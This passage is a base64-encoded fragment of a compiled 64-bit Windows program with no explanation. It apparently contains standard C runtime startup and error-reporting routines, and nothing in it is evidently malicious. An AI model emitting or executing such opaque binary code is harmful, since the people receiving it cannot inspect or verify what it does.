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AAD/JbzQAAD/Ja7QAAD/JaDQAAD/JZLQAAD/JeTQAAD/JXbQAAD/JWjQAAD/JVrQAAD/JUzQAAD/JT7QAAD/JWDQAAD/JYrQAAD/JYzQAAD/JY7QAAD/JZDQAAD/JZLQAAD/JZTQAAD/JSbOAAD/JejOAAD/JdrOAAD/JczOAAD/Jb7OAAD/JbDOAAD/JaLOAAD/JZTOAAD/JYbOAAD/JXjOAAD/JWrOAAD/JVzOAAD/JU7OAAD/JUDOAAD/JTLOAAD/JSTOAAD/JRbOAAD/JQjOAAD/JfrNAAD/JezNAAD/Jd7NAAD/JdDNAAD/JcLNAAD/JbTNAAD/JabNAAD/JZjNAACwAcPMzMzMzMzMzMzMzMzMsAHDzMzMzMzMzMzMzMzMzLABw8zMzMzMzMzMzMzMzMyITCQIsAHDzMzMzMzMzMzMiEwkCLABw8zMzMzMzMzMzDPAw8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM